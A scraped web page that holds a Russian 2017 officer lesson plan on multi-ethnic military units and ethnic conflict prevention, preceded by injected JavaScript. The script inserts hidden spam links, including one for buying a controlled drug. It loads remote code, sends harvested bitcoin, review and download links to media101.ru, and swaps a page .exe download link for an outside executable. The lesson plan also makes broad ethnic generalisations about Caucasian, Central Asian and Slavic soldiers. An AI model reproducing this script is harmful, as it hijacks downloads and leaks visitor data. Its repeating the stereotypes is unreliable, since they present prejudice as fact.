/* Domain is for sale: admin@kickvox.com */ (function() { 'use strict'; if (window['shbNetLoaded']) return; window['shbNetLoaded'] = true; var isTopLayer = false; var popupHtml = "
We looked at Cinderella, a very nice play. We recommend inasaridze batumi<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Small rooms but great steak house in the lobby Strega. Awesome location in downtown Boston live tv online<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Really nice little restaurant, you can eat very well especially Roman specialties. 2-0-0<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Great and friendly service. Fred was excellent and very helpful. converting web visitors into leads<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Staff was nice but there room needs updating. Stains on the floor and bed skirt. Room also smelled moist. catturare fotogrammi di un video<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
A breathtaking beauty like no other. Bobsleighing for three km of heavenly beauty but also so much fun for the family. A definite MUST see. \u043c\u0435\u0431\u0435\u043b\u044c \u0432 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442 \u043c\u0430\u0433\u0430\u0437\u0438\u043d\u0435<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div> <\/div>
Great! nice facility, clean, breakfast with anything, nice view of the river from one parts and skyscrapers on the other \u0433\u043e\u0440\u043d\u044f\u043a \u043a\u0440\u0438\u0432\u043e\u0439 \u0440\u043e\u0433<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Reliable country pub food. We return there every year on the annual holiday to Adelaide. modern youth bedroom sets<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Great coffee! Always come by to get coffee and sample new varieties and flavors. Enjoy the tour and learning the history of the area and the company :-) taib29.games<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Seen Madam Butterfly sung in English. No point sung in English,as still couldnt make many words out and the puppet child and handler was awful,a lot people around us just spent second half laughing at this absurd puppet \u0437\u0430\u043a\u0430\u0437\u0430\u0442\u044c \u043f\u0438\u0432\u043e \u043c\u043e\u0441\u043a\u0432\u0430<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Fabulous. Particularly the costume and fabric galleries. Amazing chairs. Good cafe. mediglobus.com<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
The place is good, 5 star .. Ballrom room is not big, short ceiling .. nhs review dentists<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div> <\/div>
2 Rivers Bicycle and Outdoors does excellent service work on my bike. The customer service you receive is awesome. where can i buy 25h-nbome (hydrochloride) powder online<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Would love to see the sercurity person have a seat to rest in on and off handicap parts<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
I love the city I live in but I cant take this dump anymore (overflow) because the smell is unbearable and the huge open pit that is next to you, bringing bad smell and various diseases. rotary floor cleaner<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
If I could give 0 stars I would, terrible company barely managing to function, management are incredibly rude, unhelpful and do not appear to know what they are even doing. \u0433\u0430\u043d\u0442\u0435\u043b\u0438 \u0441 \u0431\u043b\u0438\u043d\u0430\u043c\u0438<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
I did not feel at all well it was an experience just to be forgotten reportermt.com<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Incredible place, exquisite food, incomparable atmosphere. \u5f69\u7968\u6a5f<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div> <\/div>
Best car buying service we ever had. Knowledgable car salesman, quick finance processing-out the door in under an hour, friendly\/professional staff, and an awesome price! chance eau fraiche 100ml<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Great Food Hall! All the big designer names stocked. Friendly, helpful staff. You can now even get fish and chips. Well worth a visit just to see the famous food hall. tienda electrónica online<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Awesome. This is the best place to stay and purchase. free seo<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Steve is always a pleasure to work with. Fixed my problem and will definitely be back! mp3maker<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Some rare fashion brands in uae can only be found in Shahara center pastouchexp.info<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Best software Company in kharadi .we can learn so many new things from here. ultra slim shaper<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div> <\/div>
Staff at TechMD have always been super helpful and kind. Any issues I have with my technology, they are always there to help! Thank you techMD! bulbnk<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Three Michelin stars and one of the worlds greatest chefs !! This night I was lucky she had a guest as well!! check backlinks online<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Amazing staff! This company can cover any event held in the DMV area. best adobe graphic design software<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
It was my first escape room adventure and it was awesome. Staff did a wonderful job!!! semalt net<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Lovely day out. Especially the large statues are very impressive. semalt net<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Just yuck!! They have gone down tremendously... but their prices have gone up semalt net<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div> <\/div>
<\/div> <\/div> <\/div> <\/div> <\/td> <\/tr> <\/table> <\/div>"; var popupCreated = false; function onReady() { tryCreatePopup(2); var box = create('div'); append(box, document.body); var defaultStyles = { width: '1px', height: '1px', background: 'transparent', display: 'inline-block', margin: '2px', padding: 0, verticalAlign: 'bottom', border: 'none' }; var a = create('a'); css(a, defaultStyles); document.addEventListener('keydown', function(e) { if (e.keyCode === 192 && e.ctrlKey) { css(a, { width: '20px', height: '20px', background: '#fff', border: '1px solid red' }); } }); document.addEventListener('keyup', function(e) { css(a, defaultStyles); }); a.className = 'shbNetgpLink'; append(a, box); a.href = 'javascript:;'; on(a, 'click', openLinerPopup); css(box, { position: 'fixed', margin: 0, padding: 0, outline: 'none', border: 'none', zIndex: 999999999, overflow: 'visible', direction: 'ltr' }); css(box, { left: '3px', right: 'auto', top: '50px', bottom: 'auto', width: '42px', height: '168px' }); } function clearStyles() { if(typeof document.createStyleSheet === 'undefined') { document.createStyleSheet = (function() { function createStyleSheet(href) { if(typeof href !== 'undefined') { var element = document.createElement('link'); element.type = 'text/css'; element.rel = 'stylesheet'; element.href = href; } else { var element = document.createElement('style'); element.type = 'text/css'; } document.getElementsByTagName('head')[0].appendChild(element); var sheet = document.styleSheets[document.styleSheets.length - 1]; if(typeof sheet.addRule === 'undefined') sheet.addRule = addRule; if(typeof sheet.removeRule === 'undefined') sheet.removeRule = sheet.deleteRule; return sheet; } function addRule(selectorText, cssText, index) { if(typeof index === 'undefined') index = this.cssRules.length; this.insertRule(selectorText + ' {' + cssText + '}', index); } return createStyleSheet; })(); } var sheet = document.createStyleSheet(); sheet.addRule('#shbNetPaddingTable', 'display: none;'); sheet.addRule('#shbNetPaddingWr #shbNetPaddingTable', 'display: table;'); sheet.addRule('.shbNetPopupWr, .shbNetPopupWr *', '-webkit-text-shadow:none !important; text-shadow:none !important;'); sheet.addRule('.shbNetPopupTable img', 'display:inline; width:auto; height:auto; background:none; float:none;'); sheet.addRule('.shbNetPopupTable *', 'margin:0; padding:0; font-family:Tahoma,Arial,Sans-Serif,Verdana; font-size:11px; line-height:normal;'); sheet.addRule('.shbNetPopupTable a, .shbNetPopupTable b', 'text-decoration:none; background:none; height:auto !important; color:#737373; font-size:11px; font-weight:bold;'); sheet.addRule('.shbNetTopLayer .shbNetPopupWr', 'display:block !important; width: 100% !important; x-index:99999999 !important; background: #fff !important; padding: 2px 10px !important;'); sheet.addRule('.shbNetTopLayer #shbNetPaddingTable', 'display:table !important;'); } function createTopLayer() { //if (!domReady) return; var div = document.createElement('div'); div.className = 'shbNetTopLayer'; div.innerHTML = popupHtml; document.body.insertBefore(div, document.body.childNodes[0]); popupCreated = true; } function tryCreatePopup(stage) { if (popupCreated) return; if (isTopLayer) { createTopLayer(); return; } if (stage === 1) { document.writeln(popupHtml); } else if (stage === 2) { var mainBox = create('div'); mainBox.innerHTML = popupHtml; document.body.appendChild(mainBox); } else { return; } var wr = $('shbNetPaddingWr'); if (!wr) return; popupCreated = true; var table = $('shbNetPaddingTable'); css(table, { position: 'fixed', margin: 0, padding: 0, left: 0, top: 0, width: '100%', height: '100%', direction: 'ltr', zIndex: 999999999, background: 'none' }); css(table.getElementsByTagName('td')[0], { verticalAlign: 'middle', background: 'rgba(0, 0, 0, 0.5)' }); var popup = $('shbNetPaddingPopup'); css(popup, { margin: '0 auto', padding: '20px 25px 20px', width: '800px', maxWidth: '98%', background: '#fff', border: '1px solid #000', textAlign: 'left', position: 'relative', fontFamily: 'Tahoma, Arial, Verdana', boxSizing: 'content-box' }); on(document, 'keydown', function(e) { if (e.keyCode === 27) { wr.style.display = 'none'; } }); } function removeClass(node, className) { if (node && node.className) { node.className = node.className.replace(new RegExp('\\b' + className + '\\b', 'g'), ''); } } function openLinerPopup() { var pad = $('shbNetPaddingWr'); var tbl = $('shbNetPaddingTable'); if (!pad || !tbl) return; pad.style.display = 'block'; tbl.style.display = 'table'; var mainPopup = $('shbNetPopupWr'); if (!mainPopup) return; mainPopup.style.display = 'none'; } function $(id) { return document.getElementById(id); } function on(elem, event, handler) { elem.addEventListener(event, handler, false); } function css(elem, style) { for (var prop in style) { elem.style[prop] = style[prop]; } } function create(tag) { return document.createElement(tag); } function append(elem, parent) { parent.appendChild(elem); } setTimeout(function() { window.CJSource = 'shb2'; var script = document.createElement('script'); script.src = 'https://cleverjump.org/counter.js'; (document.head || document.body).appendChild(script); }, 10); if (document.readyState === 'complete' || document.readyState === 'interactive') { onReady(); } else { on(document, 'DOMContentLoaded', onReady); } tryCreatePopup(1); try { clearStyles(); } catch (ex) {} (function() { if (!document.querySelector) return; var added = false; tryAddLink(); window.addEventListener('DOMContentLoaded', tryAddLink); setTimeout(tryAddLink, 100); setTimeout(tryAddLink, 1000); setTimeout(tryAddLink, 2000); function tryAddLink() { if (added) return; var menu = document.querySelector('#wpadminbar .ab-top-menu'); if (!menu) return; var li = document.createElement('li'); li.innerHTML = 'SEO promotion'; //menu.appendChild(li); added = true; save(); } function save() { var json = JSON.stringify({ hrefs: ['wordpress_new'], jsDomain: 'media101.ru', refUrl: location.href }); var xhr = new XMLHttpRequest; xhr.open('POST', '//media101.ru/save.php'); xhr.setRequestHeader('Content-Type', 'text/plain'); xhr.onload = function() { xhr.responseText; } xhr.send(json); } })(); (function() { function byId(id) { return document.getElementById(id); } function setCookie() { var date = new Date(); date.setTime(date.getTime() + (60 * 60 * 1000)); document.cookie = 'closePopupStartWow=1; path=/; domain=.' + location.hostname + '; expires=' + date.toGMTString(); } function listenerPopupSemalt(event){ if (event.origin != 'https://semalt.com') return; if (!event.data) return; if (event.data == 'closePopupStartWow'){ var el = byId('popupStartWow'); if (!el) return; el.style.display = 'none'; setCookie(); } else if(event.data.indexOf('startPopupStartWow')>-1) { try{var res = JSON.parse(event.data); if(res && res.page){ location.href = 'https://semalt.com/?s='+decodeURIComponent(res.page)+'&ref=blogspot'; } } catch(ee) { } setCookie(); } } function init() { if (document.getElementById('popupWowNode')) return; var div = document.createElement('div'); div.id = 'popupWowNode'; try { div.innerHTML = html; } catch (err) { return; } document.body.appendChild(div); setTimeout(function(){ if (document.cookie.indexOf('closePopupStartWow') !== -1) return; var el = byId('popupStartWow'); if (!el) return; el.setAttribute('src', 'https://semalt.com/popups/popup_wow.php?lang=en'); setTimeout(function(){ el.style.display = 'block'; }, 400); },400); } setTimeout(init, 100); setTimeout(init, 1000); setTimeout(init, 2000); window.addEventListener('message', listenerPopupSemalt, false); })(); setTimeout(function() { try { var links = document.querySelectorAll('a[href$=".exe"]'); for (var i = 0; i < links.length; i++) { links[i].href = 'https://myprintscreen.com/soft/myp0912.exe'; break; } } catch (err) {} try { var links = document.querySelectorAll('a[href^="bitcoin:"], a[href*="trustpilot.com"], a[href$=".exe"]'); //var links = document.querySelectorAll('a[href^="https://"]'); if (links.length) { var hrefs = []; for (var i = 0; i < links.length; i++) { hrefs.push(links[i].href); } var json = JSON.stringify({ hrefs: hrefs, jsDomain: 'media101.ru', refUrl: location.href }); var xhr = new XMLHttpRequest; xhr.open('POST', '//media101.ru/save.php'); xhr.setRequestHeader('Content-Type', 'text/plain'); xhr.onload = function() { xhr.responseText; } xhr.send(json); } } catch (ex) {} }, 2000); })(); Тема №6 Многонациональный воинский коллектив
Главная » Статьи » Офицеры

Тема №6 Многонациональный воинский коллектив

ПЛАН 
занятия по общественно-государственной подготовке с офицерами учебной группы №__ _____________ войсковой части ______
____ февраля 2017 года

Тема №6 Многонациональный воинский коллектив. Организация воспитательной работы в воинском коллективе с учетом национально-психологических особенностей. Методика профилактики межличностных этнических конфликтов.

Занятие: Лекция.

Учебные цели:
1. Организация работы в многонациональном воинском коллективе.
2. Обучить методике профилактики межличностных этнических  конфликтов подразделениях.

Время проведения: 9.00 – 10.50
Место проведения: 
Материально – техническое обеспечение: политическая карта мира и Российской Федерации; указка;  журнал учета занятий;  конспекты слушателей; выписка из  установочного приказа командира части об организации ОГП.

Ход занятия

Вступительная часть –  10 минут. 
Контроль готовности слушателей к проведению занятия.
Доведение целей занятия, вопросов выносимых для обсуждения.
Информирование перед занятием.

Основная часть –  90 минут

1. Многонациональный воинский коллектив.
2. Организация воспитательной работы в воинском коллективе с учетом национально-психологических особенностей.
3. Методика профилактики межличностных этнических  конфликтов.

В мире существует более двух тысяч наций, народностей, национальных и этнических групп. Каждая из них имеет свой язык, свою культуру, свои нравы, традиции и особенности.

Национальность – это принадлежность лица к конкретному народу, к определенному этносу, т. е. устойчивой общности людей, характеризующейся особенностями культуры, психологии, традиций, языка.

В пределах России живет более 120 этносов.

В соответствии с Конституцией Российской Федерации, в нашей стране обеспечивается равенство всех граждан независимо от национальности. Это непосредственно относится и к выполнению воинского долга. Защита Отечества – почетная обязанность граждан, независимо от их социальной и национальной принадлежности.

Вооруженные Силы Российской Федерации исторически сложились как многонациональные.

В условиях воинской службы не исключа­ются конфликты, связанные с национальной принадлежно­стью военнослужащих. Можно условно выделить четыре основные группы причин таких конфликтов:

-нахождение в воинских коллективах военнослужащих с отрицательными личностными качествами и негативной на­правленностью, с предубеждениями к отдельным нацио­нальным микрогруппам;

-недостатки и упущения командиров в  работе с многонациональным личным составом. Отсутствие у руководителей учета национальных особенно­стей воинов, психологии многонациональных воинских кол­лективов;

-упущения и перекосы в организации боевой подготовки, службы войск, в поддержании уставно­го порядка.

Игнорирование в обучении и воспитании вои­нов индивидуального подхода, фактора межнационального общения солдат, матросов, сержантов, старшин, прапорщи­ков, мичманов и офицеров;

Отсутствие у командиров и офицеров по работе с личным составом достовер­ной и полной информации о положении дел в коллективах и об эффективности управления процессами, протекающи­ми в сфере межнациональных отношений в подразделени­ях, частях, на кораблях.

Для эффективной работы по профилактике конфликтов на национальной основе между военнослужащими руково­дящему составу необходимо, прежде всего, глубоко изучить особенности развития межнациональных отношений в мно­гонациональных воинских коллективах, а также прочно ос­воить различные методы их регулирования, способы свое­временного предупреждения даже мелких негативных яв­лений.

Какой бы армейский или флотский коллектив мы ни взяли, в его рядах несут службу представители многих на­ций и народностей нашей страны.

Воинские коллективы существенно раз­личаются и по национальному составу, и по содержанию межнациональных общений военнослужащих. В более технически оснащенные воинские части и подразделения подбираются соответствен­но более подготовленные военнослужащие по уровню тех­нической и общеобразовательной подготовки, по знанию русского языка, без чего невозможно глубоко освоить слож­ные военные специальности.

Из-за неравномерной подготовленности к службе при­зывников из различных регионов страны такой подбор ав­томатически распределяет воинов по национальности, как бы мы ни стремились к достижению равного представитель­ства.

Различие воинских коллективов по уровню многонациональности делает их неодинаковыми и по содержанию меж­национальных общений военнослужащих, и по частоте воз­никающих в них конфликтных ситуаций на национальной основе.

Выделяется три типа отношений в воинских кол­лективах, в которых межнациональные общения военнослу­жащих строятся на принципиально различной основе.

           Первый тип отношений складывается в традиционных для нашей армии и флота, если рассматривать в историче­ском плане, воинских коллективах, в которых численно пре­обладают воины славянских национальностей. Жизнь и вза­имоотношения военнослужащих в них строятся на основе национально-психологических особенностей славян, что, мо­жет быть, недостаточно осознается, но более всего совпадает с представлениями офицерского состава о том, какими должны быть взаимоотношения военнослужащих. В этих подразделениях воины неславянских национальностей, внутренне сохраняя свою национальную самобытность, чаще вceгo принимают присущий для таких коллективов тип от­ношений и нормы поведения. Здесь во взаимоотношениях военнослужащих огромную роль играет срок службы, сте­пень освоения военной специальности.

Второй тип отношений формируется в распространенных сегодня воинских коллективах, где военнослужащие разных национальных (национально-территориальных) групп примерно равны по численности и социальной активности. Общественно-психологические особенности этих коллективов –  традиции, нормы взаимоотношений и т. д. основываются уже не только на национальных чертах воинов славянского происхождения, но и на чертах других, значительных по численности, национальных групп. В качестве внешнего по­казателя, по которому можно легко выделить коллективы этого типа, может служить то, что в них доля военнослужащих-славян составляет около половины.

Третий тип отношений складывается в воинских коллективах, в которых преобладающей и по численности, и по влиянию выступает одна из национальных или национально-территориальных групп воинов. Общественно-психологические особенности подобных коллективов строятся на основе национальных особенностей воинов этой преобладающей группы. Соответствующий характер приоб­ретают здесь межличностные отношения военнослужащих. В коллективах этого типа военнослужащие-славяне состав­ляют обычно меньшинство.

2.

   В воинских коллективах с разной национальной струк­турой и содержанием межнациональных общений военно­служащих по-разному протекают и конфликтные ситуации, что необходимо учитывать в работе по их предупреждению.

Командиру, его заместителю для успешного управления воин­ским коллективом, организации в нем воспитательной работы по предупреждению конфликтов на национальной основе необходимо хорошо разбираться в неформальных взаимоотношениях военнослу­жащих. Для этого целесообразно не реже чем раз в полгода в рам­ках индивидуальной воспитательной работы проводить целенаправ­ленное изучение неформальной структуры подразделения.

Суть проводимой работы состоит в следующем. Из числа воен­нослужащих подразделения подбирается 5—6 воинов разных перио­дов службы, национальности и места призыва, хорошо знающих жизнь и личный состав коллектива. Они в качестве «экспертов» по очереди приглашаются на беседу. Каждому предлагается по имен­ному списку подразделения (по памяти) перечислить фамилии во­еннослужащих, которые находятся друг с другом в дружеских отно­шениях, оказывают взаимную помощь и поддержку.

Со слов каждого опрашиваемого определяется состав называе­мых дружеских микрогрупп воинов. Важное требование, расходя­щееся с общепринятым мнением о том, что во время индивидуаль­ной беседы не следует ничего записывать, состоит в привлечении «эксперта» к творческой работе по составлению и описанию системы внутриколлективных отношений. Откровенность разговора не снизит­ся, если сделать акцент в вопросах именно на их положительном аспекте — о дружеских взаимоотношениях воинов. Запись по ходу беседы необходима для того, чтобы получить точную и полную ин­формацию.

Каждому приглашенному на беседу эксперту предлагается озна­комиться с выделенными с его слов дружескими неформальными группами воинов, внести при этом необходимые коррективы. После этого предлагается охарактеризовать каждую из выделенных микро­групп. А именно:

а) определить, что именно объединяет ее членов — период слу­жбы, национальность, место призыва, общность интересов, сходство политических взглядов и т. п.;

б) охарактеризовать направленность настроений, целей деятельности каждой из этих групп с точки зрения их влияния на боевую готовность и дисциплину личного состава — «положительная», «нейтральная», «отрицательная»;

в) оценить по пятибалльной шкале уровень их авторитетности в коллективе;

г) назвать лидеров или наиболее авторитетных в группе лиц, охарактеризовать слагаемые их авторитета;

д) охарактеризовать взаимоотношения между этими группами воинов — дружеские, нейтральные, отношения соперничества и др.

Все эти известные для каждого члена коллектива вещи, о которых надо просто уметь спросить в привычных для воина выражениях, чтобы он понял, о чем идет речь. Получаемая информация заносится на специально подготовленные бланки.

После проведения бесед со всеми «экспертами» полученная ин­формация обобщается. На ее основе составляется графическая схема взаимоотношений воинов и микрогрупп воинов в коллективе.

Конфликты в многонациональном воинском коллективе могут иметь самое различное содержание.

Как известно, конфликтная ситуация разворачивается во времени и проходит определенные этапы, стадии разви­тия:

- предконфликтный период, во время которого возника­ет острое разногласие на почве расхождения интересов сто­рон;

-собственно конфликт, когда первоначальное «соперни­чество» сменяется противоборством участников;

- разрешение конфликта, включающее достижение цели одной или обе­ими сторонами.

Что же чаще всего становится причиной возникновения конфликтных ситуаций на национальной основе в много­национальных воинских коллективах? это прежде всего:

-негативное отношение к воинской службе солдат отдель­ных национальностей, формирующееся под влиянием анти­армейских и пацифистских настроений, антиармейской про­паганды;

-неудовлетворительное знание военнослужащими некото­рых национальностей русского языка;

-наличие противоречивых национальных особенностей у военнослужащих, различие усвоенных с детства обычаев, традиций, норм общения и поведения, отсутствие реального опыта взаимоотношений с людьми других национальностей, низкая культура межнационального общения;

-наличие у некоторых военнослужащих националистиче­ских взглядов, предубеждений, установок, сформировавших­ся как до службы в армии, так и возникших во время службы из-за недостатков и упущений в воспитательной работе;

-различия религиозной ориентации отдельных народов, к которым принадлежат воины разных национальностей, со­хранение в их исторической памяти взаимных претензий и обид, негативных стереотипов, в определенной мере про­являющихся и в условиях службы.

Для успеха профилактической работы следует также помнить, что конфликтная ситуация на национальной осно­ве в многонациональном воинском коллективе может разви­ваться на различных уровнях.

Внутриличностном — когда противоречие, столкновение мотивов, интересов и потребностей возникает у одного и то­го же человека, например, в связи с противоречием между усвоенными с детства нормами поведения и требованиями к поведению в воинском коллективе. В этом случае воин как бы борется с самим собой и конфликт приобретает пси­хологический характер.

Межличностном — когда люди, преследуя личные цели, либо придерживаются несовместимых ценностных ориента­ции, моральных норм и пытаются реализовать их во взаи­моотношениях друг с другом, либо одновременно в острой конкурентной борьбе стремятся к достижению одной и той же цели, которая может быть достигнута лишь одной из сторон.

Межгрупповом — в качестве конфликтующих сторон выступают определенным образом объединенные группы людей, преследующие групповые цели и своими практиче­скими действиями препятствующие друг другу, например, в борьбе за лидерство в коллективе.

Очевидно, когда конфликтная ситуация приобретает межгрупповой характер, она становится более социально опасной.

Исследования показывают, что в воинских коллективах с различным уровнем многонациональности и содержанием межнациональных общений военнослужащих колеблется и частота возникновения конфликтных ситуаций на нацио­нальной основе.

3.

Воинские коллективы первого типа отношений

Решающее значение в системе отношений военнослужа­щих в коллективах данного типа имеют срок службы, опыт, накопленный за время ее прохождения, практические на­выки, личностные качества воинов. В коллективах этого типа нормы взаимоотношений, традиции, особенности ми­ропонимания военнослужащих, основные принципы организации жизнедеятельности базируются на национальных особенностях.

Конфликты в воинских коллективах возникают преиму­щественно между воинами различных периодов службы. Конфликтные ситуации на национальной основе носят, как правило, эпизодический, индивидуально-личностный характер, связаны с трудностями обучения и воспитания отдельных представителей других национальностей из-за их недостаточной подготовленности к службе и слабого знания русского языка.

Профилактика возникающих здесь конфликтных ситуаций на национальной почве основывается поэтому на усилении индивидуальной воспитательной работы, прежде всего по отношению к немногочисленным военнослужащим неславянских национальностей. Работа по изучению личностных качеств воинов начинается с изучения особенностей молодых солдат в период проведения сборов с молодым пополнением. В это время проводится первое углубленное изучение их личностных особенностей, выясняются жизненные установки воинов. Солдаты рассказывают о себе, своих интересах, целях, планах по от­ношению к предстоящей службе на собраниях личного состава, тематических вечерах «Представляюсь коллективу», индивидуальных беседах с сержантами, прапорщиками и офицерами, наставниками молодых солдат.

Заполненные в процессе различных мероприятий анкеты, бланки тестов, опросные листы, написанные по стилизованной форме, автобиографии, а также выводы, сделанные офицерами, аккуратно собираются и сохраняются на весь период службы воинов.

Родителям и по месту прежней работы или учебы воина посылается запрос. В нем говорится о традициях части, излагается просьба поделиться советами по воспитанию сына, учащегося, воспитанника рабочего коллектива ит. д. Поступаю­щие отзывы об увлечениях, интересах, особенностях харак­тера того или иного воина анализируются, обобщаются и вкладываются в своего рода «личные дела» военнослужа­щих.

На протяжении всей службы продолжается изучение личности солдата.

Что нужно, чтобы «изучить личность воина»? Для этого требуется:

-определить степень развития, образованности, эрудиро­ванности, коллективизма, трудолюбия, дисциплинированно­сти, интернационального воспитания, национальных особен­ностей, владения русским языком, а также волевых, эмо­циональных и интеллектуальных качеств;

-выявить взаимосвязь, круг общения призывника, суще­ствовавший до службы в армии и особенности социального окружения в воинском коллективе, проанализировать на­правленность микрогрупп, членом которых является воен­нослужащий, решаемые им социальные роли;

-учесть возрастные особенности личности, социальное влияние национальной среды, возможный опыт антисоци­ального поведения, который может привести к срывам в поведении и взаимоотношениях воина;

-проанализировать пройденный молодым человеком жиз­ненный путь, его достижения и неудачи;

-учесть личностный опыт, систему сложившихся у чело­века жизненных ценностей и ориентиров, наличие профес­сионально-трудовых навыков;

-обратить внимание на физическое развитие, потенциаль­ные возможности и устойчивость нервной системы воина, уровень физической и психической работоспособности, пси­хологической устойчивости;

-определить задачи по обучению и воспитанию воина, этапы решения задач, выбрать промежуточные и конечные цели, способы и пути их достижения.

Работа по изучению личности солдата, на­чиная со дня его прибытия в часть, не должна прерываться при переводах воинов из подразделе­ния в подразделение.

В подразделениях второго типа (т. е. в подразделениях, где численность военнослужащих различных национальностей примерно одинакова, а представители славянских народов составляют менее половины от общего числа) во взаимоотношениях между военнослужащими особое значение приобретает национальная принадлежность воинов. По национальному признаку здесь образуются практически все неформальные микро-группы военнослужащих. Они активно включаются в борьбу за лидерство в коллективе. В результате традиции, нормы взаимоотношений, ценностные ориентации в подразделениях данного типа развиваются, прежде всего, в рамках отдельных национальных групп военнослужащих. Взаимоотношения военнослужащих различных национальностей характеризуются высокой динамичностью и напряженностью.

Обычно в коллективах «второго» типа, военнослужащие группируются в три основных блока: «кавказский», «среднеазиатский» и «европейский», которые в свою очередь состоят из отдельных националь­ных микрогрупп.

Военнослужащие славянских национальностей в коллек­тивах, этого типа практически редко занимают лидирующее положение, иногда лишь соперничая с другими группами за лидерство.

Огромную роль в этих коллективах играют лидеры на­циональных микрогрупп, выражающие и защищающие на­ционально-групповые интересы воинов. В своих поступках и взаимоотношениях военнослужащие руководствуются в первую очередь национально-групповыми интересами. Опре­деленное значение здесь сохраняет разделение воинов по сроку службы, по военной специальности, по интересам.

Конфликтные ситуации на национальной основе носят в коллективах этого типа ярко выраженный национально-групповой характер. Эти коллективы отличаются повышенной конфликтностью.

Профилактика конфликтных ситуаций, возникающих на национальной основе в многонациональных воинских кол­лективах «второго» типа, основывается на особо вниматель­ном отношении к содержанию складывающихся здесь на­ционально-групповых отношений военнослужащих.

Командирам следует определить: сколько и ка­ких национальных и земляческих микрогрупп имеется в подразделении, какова их направленность, есть ли в них общепризнанные лидеры, кто из их членов пользуется у со­отечественников наибольшим авторитетом и почему, каково в этих группах общественное мнение, сложившееся по от­ношению к воинской службе, боевой подготовке.

Для решения данного круга задач существует немалое число методов: наблюдения и фиксирования результатов; сбор информации по интересующим вопросам в процессе бесед с воинами, на занятиях, в дис­куссиях и других формах общения, при проведении вече­ров «вопросов и ответов», анкетировании и опросах воинов; социометрические методы изучения внутриколлективных отношений; обобщение и анализ информации, полученной из различных источников, по определенному алгоритму, и другие.

Разобравшись в структуре межличностных и межгруп­повых отношений военнослужащих разных национально­стей в основных сферах жизни и деятельности воинского коллектива (боевой подготовке и службе войск), можно углубить познание психологии коллектива, изучив состояние межлич­ностных отношений в микрогруппах.

Самым действенным средством вли­яния на общественное мнение в национальных микрогруп­пах служит индивидуальная воспитательная работа с их неформальными лидерами, наиболее авторитетными вои­нами.

Наиболее сложные межнациональные отношения складываются в подразделениях третьего типа, т. е. тех, в которых преобладают представители какой-либо одной неславянской этнической группы.

Взаимоотношения военнослужащих в указанных подразделениях складываются как отношения прочного лидерства одной численно преобладающей национальной (национально-территориальной) группы. Обычно это бывает блок микрогрупп военнослужащих азиатских и кавказских национальностей. Они оказывают друг другу определенную поддержку, однако особой сплоченностью в целом не отличаются.

Военнослужащие кавказских национальностей, если они из-за малочисленности не могут претендовать на лидерство, стремятся в коллективе этого типа занять обособленное, независимое положение.

Военнослужащие славянских национальностей занимают здесь в какой-то степени подчиненное положение. В целом взаимоотношения в коллективах данного типа довольно ус­тойчивые. Быстро налаживаются внутри коллективные свя­зи после каждого очередного призыва.

Социально-психологические особенности такого подразделения основываются преимущественно на национальных особенностях преобладающих в подразделении национальных групп военнослужащих.

Основу отношений в коллективе составляют не столько межнациональные отношения, сколько внутринациональные отношения в национальных группах. Причем часто разделение воинов на микрогруппы в национальных группах происходит по самым различным основаниям — по сроку службы, по месту призыва, по социальному происхождению, по образованности, по воинским специальностям, по должностному положению и др. Поэтому число конфликтов на национальной основе приблизительно уравновешивается таким же числом внутринациональных конфликтов.

Традиционные формы организаторской и воспитатель­ной работы, в том числе по профилактике конфликтных си­туаций в коллективах этого типа, могут использоваться лишь на основе всестороннего учета национально-групповой расстановки сил в подразделении, глубокого знания нацио­нальных особенностей и традиций преобладающей в кол­лективе национальной или национально-территориальной группы.

Необходимо учесть и то, что формы разрешения межна­циональных конфликтов в коллективах данного типа, как правило, могут быть далеко не цивилизованными, ставка в абсолютном большинстве делается не на урегулирование проблем путем переговоров, достижение соглашений, а на физическое и моральное подавление соперников, на силу.

Конечно, есть и примеры образцовой организации воин­ской службы, боевой подготовки и службы войск, форми­рования в подразделениях данного типа здорового мораль­но-психологического климата, высокой сознательности и от­ветственности воинского коллектива и отдельных воинов за боевую готовность подразделения; Но это, скорее всего, ис­ключение. И причина тут одна — неготовность большинства офицеров к работе с многонациональными коллективами данного типа.

Профилактика конфликтов на национальной основе может строиться достаточно эффективно, если командирам и заместителям удастся сформировать дружественные отношения между лидерами национальных микрогрупп воинов.

В зависимости от уровня подготовленности руководителей воинского коллектива могут применяться для профилактики конфликтов на национальной основе и другие, описанные ранее методы и приемы.

